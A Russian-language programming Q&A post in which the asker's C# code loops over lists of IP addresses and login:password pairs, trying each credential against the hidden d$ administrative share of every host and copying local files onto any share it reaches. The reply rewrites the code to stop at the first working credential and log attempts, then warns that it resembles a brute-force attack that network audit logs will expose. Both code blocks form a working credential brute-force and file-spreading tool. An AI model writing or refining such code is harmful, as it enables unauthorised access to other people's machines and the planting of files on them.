Запись в лог результата
помогите пожалуйста, как можно записать в лог log.txt, только тогда, когда произошло подключение к папке Dir,а во всех остальных случаях записывал в другой лог (error.txt) либо путь не найден,либо нет подключения. Возможно через конструкцию if , else , но не могу додуматься,так как записывает все попытки подключения
string[] ip = File.ReadAllLines("Ip.txt");
string[] logins = File.ReadAllLines("logins.txt")
string firstDir = @"\\user\File";
for (int i = 0; i < ip.Length; i++)
{
try
{
foreach (var acc in logins)
{
var user = acc.Trim().Split(new[] { ':', ';' });
string secondDir = $@"\\{ip[i]}\d$\Dir";
ConnectToShare(secondDir, user[0], user[1]);
foreach (string sourcePath in
Directory.EnumerateFiles(firstDir))
{
string fileName = Path.GetFileName(sourcePath);
string targetPath = Path.Combine(secondDir, fileName);
File.Copy(sourcePath, targetPath);
}
DateTime currtime = DateTime.Now;
using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"log.txt", true))
{
string tmptxt = String.Format("{0:yyMMdd hh:mm:ss} {1}", currtime, ip[i]);
file.WriteLine(tmptxt);
file.Close();
}
DisconnectFromShare(secondDir, false);
}
catch (Exception)
{
DateTime currtime = DateTime.Now;
using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"error.txt", true))
{
string tmptxt = String.Format("{0:yyMMdd hh:mm:ss} {1}", currtime, ip[i]);
file.WriteLine(tmptxt);
file.Close();
}
}
}
}
Ответы (1 шт):
Как я понял, вы что-то такое хотите.
string[] ip = File.ReadAllLines("Ip.txt");
string[] logins = File.ReadAllLines("logins.txt")
string firstDir = @"\\user\File";
char[] splitChars = new[] { ':', ';' };
for (int i = 0; i < ip.Length; i++)
{
bool success = false;
List<string> errors = new List<string>();
foreach (var acc in logins)
{
try
{
string[] user = acc.Trim().Split(splitChars);
string secondDir = $@"\\{ip[i]}\d$\Dir";
ConnectToShare(secondDir, user[0], user[1]);
foreach (string sourcePath in Directory.EnumerateFiles(firstDir))
{
string fileName = Path.GetFileName(sourcePath);
string targetPath = Path.Combine(secondDir, fileName);
File.Copy(sourcePath, targetPath);
}
success = true;
File.AppendAllLines("log.txt", new[] { $"{DateTime.Now:yyMMdd hh:mm:ss} {ip[i]} Success {user}" });
DisconnectFromShare(secondDir, false);
break; // если до сюда дошло, значит успех, значит дальше перебирать нет смысла
}
catch (Exception ex)
{
errors.Add($"{DateTime.Now:yyMMdd hh:mm:ss} {ip[i]} {ex.Message}");
}
}
if (!success)
File.AppendAllLines("log.txt", new[] { $"{DateTime.Now:yyMMdd hh:mm:ss} {ip[i]} Failure" });
if (errors.Count > 0)
File.AppendAllLines("error.txt", errors);
}
Предупреждаю, что этот код похож на вредоносный. Он по всей видимости проводит брутфорс-атаку на компьютеры в локальной сети.
Если у этой сети есть администратор, то учтите, что каждый атакованный компьютер пишет логи аудита, то есть в частности успешных и неуспешных подключений по сети. И администратор этой сети без труда увидит когда, сколько раз, и с какого компьютера была произведена атака. А следом возьмет вас за зад и выведет на чистую воду. Не делайте необдуманных поступков.